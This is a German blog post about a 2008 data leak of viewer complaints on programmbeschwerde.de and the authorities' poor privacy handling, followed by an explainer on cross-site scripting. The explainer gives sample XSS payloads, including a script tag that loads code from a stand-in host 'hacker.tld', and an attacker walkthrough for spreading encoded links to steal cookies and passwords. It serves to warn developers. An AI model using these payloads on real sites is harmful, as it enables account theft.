Auf gulli las ich von einem kleinen Datenleck auf programmbeschwerde.de. gulli hat es von Stefan Niggemeier, also verlinke ich mal zu dem ursprünglichen Beitrag:
“Medienanstalten outen Beschwerdeführer” (stefan-niggemeier.de)

Herr Niggemeier schrieb schon:

Inzwischen würde ich annehmen, dass bis zum Datenschutz-Skandal dieser Woche die Medienwächter vergessen hatten, dass es die Seite überhaupt noch gibt.

Das hier ist die Startseite, sieht auch sehr nach einer vergessenen WebSite aus.

Am 23. April 2004 gab es die Meldung:
“LMS schafft erste zentrale Internet-Beschwerdeplattform im Saarland” (lmsaar.de)
Und aus dieser Zeit stammt auch die Version des CMS. So wie es ausschaut gab es die letzten vier Jahre keine Updates am System.

Das alte CMS hat wohl irgendwelche Lücken – in vier Jahren sammelt sich was an…

Ihr Eintrag wurde gespeichert. Nach einer Überprüfung durch uns wird er freigeschaltet und an dieser Stelle erscheinen.

“Kritik”, “Fragen & Anregungen” und “Tipps & Infos” werden zwar nicht “an dieser Stelle” angezeigt, aber dafür sofort:

Der Link (programmbeschwerde.de) dazu. (wurde gelöscht)


Ein Kommentar im erwähnten Niggemeier-Beitrag:

Hier die Erklärung der LMA:
“Bei der von Ihnen angesprochenen Seite handelt es sich um eine Auswertungsseite aus dem Backend der Homepage, die nicht genutzt wurde und auf die es auch keine Verlinkung gab. Diese Seite wurde auf Ihren Hinweis hin entfernt. Unklar blieb für uns, wie man über die normale Benutzeroberfläche der Seite zu dieser Unterseite gelangen konnte.”

Das hier sieht irgendwie nicht so aus als ob es “entfernt” wurde, denn auch hier finden sich neue Einträge. Der Link (programmbeschwerde.de) dazu. (wurde gelöscht)

Hier wird klar “wie man über die normale Benutzeroberfläche der Seite zu dieser Unterseite gelangen konnte.”… weiter aus dem Kommentar:

So ist der call-in-tv.net-User dahingelangt:
“Über Google. Ich wollte eigentlich nur mal wissen, inwieweit eine alte E-Mail-Adresse von mir noch im Internet zu finden ist. Und Google hat genau einen Eintrag gefunden. Über die Cache-Funktion konnte ich dann nicht nur meine alte Beschwerde noch einmal lesen sondern wie gesehen auch direkt auf die Beschwerdeliste der letzten vier Jahre zurückgreifen.”
Die Daten befanden sich also auf einer nicht gesicherten Webdomain! Sie wurde zwar nicht verlinkt, aber die Google-Bots konnten lustig drauf zugreifen. Jetzt lesen wir den obigen Satz noch einmal:
“Der Schutz der von Ihnen zur Verfügung gestellten Informationen wird durch die Verwendung moderner Sicherheitssysteme bestmöglich gewährleistet.”
Noch Fragen?

Arbeitsgemeinschaft der Landesmedienanstalten (ALM)

Die 14 Landesmedienanstalten in Deutschland sind für die Zulassung und Aufsicht sowie den Aufbau und die Fortentwicklung des privaten Hörfunks und Fernsehens in Deutschland zuständig. Private Rundfunkstationen gibt es seit Mitte der achtziger Jahre. Die Weichen für das “Duale Rundfunksystem“, dem Nebeneinander von öffentlich-rechtlichem und privatem Rundfunk, wurden im Rundfunkstaatsvertrag von 1987 gestellt. Seitdem sind die Bestimmungen des Rundfunkstaatsvertrages vielfach angepasst worden.

Quelle: alm.de

Von Staats wegen zur Unfähigkeit verdammt, mal an sich selber Kritik zu üben?!

Die Landesmedienanstalten sind nicht zuständig für die öffentlich-rechtlichen Programme. Bei Kritik an deren Sendungen wenden Sie sich bitte an die Fernsehanstalten direkt.

Kleine Info am Rande:
Es gibt 14 Landesmedienanstalten und auf drei der WebSites von ihnen habe ich nach wenigen Sekunden auch gleich meine Lieblings-Lücke gefunden… XSS… Aber ist ja nicht so schlimm, kennen ja eh nur die Leser die es bei mir gelesen haben…

(Kann es sein das ich der Erfinder von XSS bin? Oder der Entdecker? Oder beides? Mmmm, vielleicht sollte ich mal einen Eintrag beim DPMA einreichen. Jeder der solche Lücke ausnutzt muß mir dann Lizenzgebühr bezahlen…)


Die “Datenschutzerklärung” und die “Regelungen zum Datenschutz” von programmbeschwerde.de. (wurde gelöscht)

Es ist für Dritte nicht ersichtlich, welche Beschwerden, von wem abgegeben werden.

Doch ist es! Ich kann sehen wer sich über die Sitzposition der Journalisten im Presseclub beschwert hat oder darüber das ein Sportjournalist über amerikanische Formel-1-Zuschauer abfällige Bemerkungen gemacht hat. Aber will ich diese Beschwerden überhaupt lesen? NEIN, bidde nicht! :O)

Ich willige ein, dass meine persönlichen Daten von der Landesmedienanstalt Saarland gespeichert und an die zuständigen Stellen…

In diesem Fall, alle die einen Browser und eine Suchmaschine bedienen können!

(andere Landesmedienanstalten, Kommission für Zulassung und Aufsicht (ZAK), Kommission für Jugendmedienschutz (KJM), Rundfunkräte) zur Bearbeitung meiner Programmbeschwerde weitergegeben werden dürfen.

Daten die nichts in der Öffentlichkeit zu suchen haben haben nichts in der Öffentlichkeit zu suchen! Und das Internet IST öffentlich! Was ist daran so schwer zu verstehen?

Bitte eine große Portion Peter Schaar (bfdi.bund.de) für diese Datenschlampen aus dem Saarland! Und Herr Schaar, schauen Sie bitte auch gleich bei den anderen Medienanstalten vorbei, die arbeiten evtl. ähnlich schlampig.


Update: 01.12.2008 – 12:20 Uhr
Jetzt wurde die Seite mit den Beschwerde-Einträgen wirklich gelöscht, aber die andere Seite mit “Kritik”, “Fragen & Anregungen” und “Tipps & Infos” läuft noch.

Auf der alm.de haben sie jetzt auch die verlinkte Grafik zu programmbeschwerde.de entfernt.

<einschub>
Gestern schrieb ich noch:

Auf xss-wp.18c.de habe ich ein WordPress installiert, in dem einige XSS-Demos gezeigt werden. Da WordPress von Haus aus keine, mir bekannte, XSS-Lücke besitzt habe ich im Theme mit etwas unsicherem Code nachgeholfen.

Da ich weiß das immer irgendwo ein Bug stecken könnte, habe ich “mir bekannte” eingeschoben. Und wie zur Unterstreichung meiner Annahme gab es auch gestern gleich ein Update von WordPress, auf Version 2.6.5 (wordpress-deutschland.org), weil in der 2.6.3 zwei XSS-Lücken stecken. Die Version 2.6.4 wird übersprungen, da es eine Fake-Version mit dieser Versionsnummer gab. “Fake WordPress site distributing backdoored release” (zdnet.com)
</einschub>

---

Aber nun zu den Verbreitungsmöglichkeiten für XSS-Links.

Die Art von Cross-Site Scripting bei der man in die URL etwas einfügt

http://domain.tld/pid=4715&title="><h1>XSS</h1>

was dann irgendwo auf der WebSite wieder ausgegeben wird, nennt man nicht-persistent oder reflektives Cross-Site Scripting. Reflektiv – trifft es sehr gut, da der Browser per URL etwas sendet (u.a. auch den XSS-Code) und dieses dann selber wieder anzeigt.

Dies hört sich im ersten Moment nicht so schlimm an – der Browser sendet etwas was er dann selber wieder anzeigt. Naja… da JavaScript im Browser fast alles darf, außer Dateien zu schreiben, ist damit eben u.a. auch die Aufzeichnung von Tastatureingaben möglich, wie ich gestern schon erwähnte.


XSS mal betrachtet aus der Sicht eines BlackHat-Hackers.

• In dem Shop-XYZ habe ich eine XSS-Lücke gefunden, über die ich per
  <script src=http://hacker.tld/xss.js></script>
  mein eigenes JavaScript nachladen kann.
• Die Bekanntheit des Shops ist sehr groß, da es ein Shop ist der schon seit Jahrzehnten im Versandhandel tätig ist und nun von den dicken, gedruckten Katalogen auf das Internet umsteigt.
• Nun suche ich mir ein Produkt im Shop heraus welches beliebt ist. Mit der URL zum Produkt verknüpfe ich mein JavaScript, ich injiziere in die korrekte URL meinen Nachlade-Code.
• Als Hacker benutze ich allerdings die codierte Form meiner Linkmanipulation:
  aus <script src=http://hacker.tld/xss.js></script>
  wird %3C%73%63%72%69%70%74%20%73%…
  Otto-Normal-User kann nicht erkennen was das ist, aber da er es schon von anderen WebSites gewohnt ist lange unverständliche URLs im Browser angezeigt zu bekommen, schöpft er keinen Verdacht.
  Auch hilft mir diese Codierung das verschiedene Browser diese URL ohne Fehlermeldung fressen.
• In Foren und Web 2.0-Communities wird gerne nach Produktempfehlungen gefragt. Ich antworte dem Suchenden und da ich ja nett bin, gleich mit meinem Link zum Produkt.
• Da nicht nur der eine, der gefragt hat, auf den Link klickt sondern alle die sich für das Produkt interessieren, habe ich schon nach kurzer Zeit relativ viele Shop-Besucher die mein JavaScript benutzen…
• Was mein JavaScript dann im Browser der Shop-Besucher alles anstellt… vom Ausspähen von Passworten und Cookies bis zum Nachladen von Viren, Würmern und Trojanern… bleibt mir, bzw. meinem Auftraggeber, überlassen.
• Wenn der Shop Cookies schreibt, um den Shop-Besucher beim nächsten Einkauf widerzuerkennen und um ihm auch die Anmeldeprozedur, mit Benutzername und Passwort, abzunehmen… – tja, da besteht eine hohe Wahrscheinlichkeit das ich mir von meinem JavaScript die Daten der Anmelde-Cookies senden lasse.
• Wenn in dem Shop dann auch noch die Passworte im Klartext gespeichert werden, dann kann ich nach dem Login mal kurz die E-Mail-Adresse ändern und mir per Passwort-Erinnerungs-Funktion das Passwort zusenden lassen, sofern es nicht schon irgendwo im myShop-Profil angezeigt wird.
• Wenn mein Opfer zu den vielen Passwort-Recyclern gehört und ein Passwort für mehrere verschiedene WebSites (eBay, Paypal, Web.de, GMX, etc.) benutzt, so kann ich damit natürlich noch etwas mehr Unfug anstellen… Vielleicht arbeitet er ja für eine Firma, wo ich mich dann mit dem Passwort in deren Intranet einloggen kann?! Mal schauen was die Forschungsabteilung so treibt…

Zur Ergänzung:

Persistentes (persistent) oder beständiges (stored) Cross-Site Scripting unterscheidet sich vom reflektiven XSS prinzipiell nur dadurch, dass der Schadcode auf dem Webserver gespeichert wird, wodurch er bei jeder Anfrage ausgeliefert wird. Dies ist bei jeder Webanwendung möglich, die Benutzereingaben serverseitig speichert und diese später wieder ausliefert, solange keine Prüfung der Benutzereingaben bzw. eine geeignete Kodierung der Ausgabe stattfindet.

Quelle: de.wikipedia.org


Es gibt natürlich viele Variationen von dem was ein BlackHat-Hacker mit XSS-Lücken anstellen kann:

• Die Anzeige von Börsenkursen auf einer WebSite gezielt manipulieren, in der Hoffnung das diese Manipulation zu der gewünschten echten Kursbewegung führt.
• Nachrichten auf einer Zeitung-/Magazin-Seite manipulieren um Ängste, Panik oder Kaufbereitschaft für ein Produkt zu erzeugen.
• Werbebanner zu Produkten einfügen. Es wird die Reputation einer WebSite genutzt um dubiose Produkte zu verkaufen oder um einen Imageverlusten der WebSite herbeizuführen.
• Persistentes XSS kann zur Steigerung von PageImpressions missbraucht werden, um die eigenen Besucherzahlen zu schönen und um dem Werbekunden, auf Grund der hohen Besucherzahlen, einen höheren Preis zu berechnen.

Also liebe Entwickler, mal etwas über den Tellerrand hinaus denken. Die kriminelle Energie und der Einfallsreichtum der BlackHat-Hacker ist unerschöpflich.


Noch kurz etwas zu White-, Black- und GrayHat-Hackern:

• White-Hats (“Weiß-Hüte”)
  Verwenden ihr Wissen innerhalb sowohl der Gesetze als auch der Hackerethik, beispielsweise indem sie professionelle Penetrationstests ausführen.
• Black-Hats (“Schwarz-Hüte”)
  Handeln mit krimineller Energie und beabsichtigen beispielsweise, das Zielsystem zu beschädigen oder Daten zu stehlen.
• Grey-Hats (“Grau-Hüte”)
  Verstoßen möglicherweise gegen Gesetze oder restriktive Auslegungen der Hackerethik, allerdings zum Erreichen eines höheren Ziels. Beispielsweise durch die Veröffentlichung von Sicherheitslücken, um ein Leugnen unmöglich zu machen und die Verantwortlichen dazu zu zwingen, diese zu beheben. Grey-Hats zeichnen sich dadurch aus, dass sie nicht eindeutig als “gut” oder “böse” einzustufen sind.

Quelle: de.wikipedia.org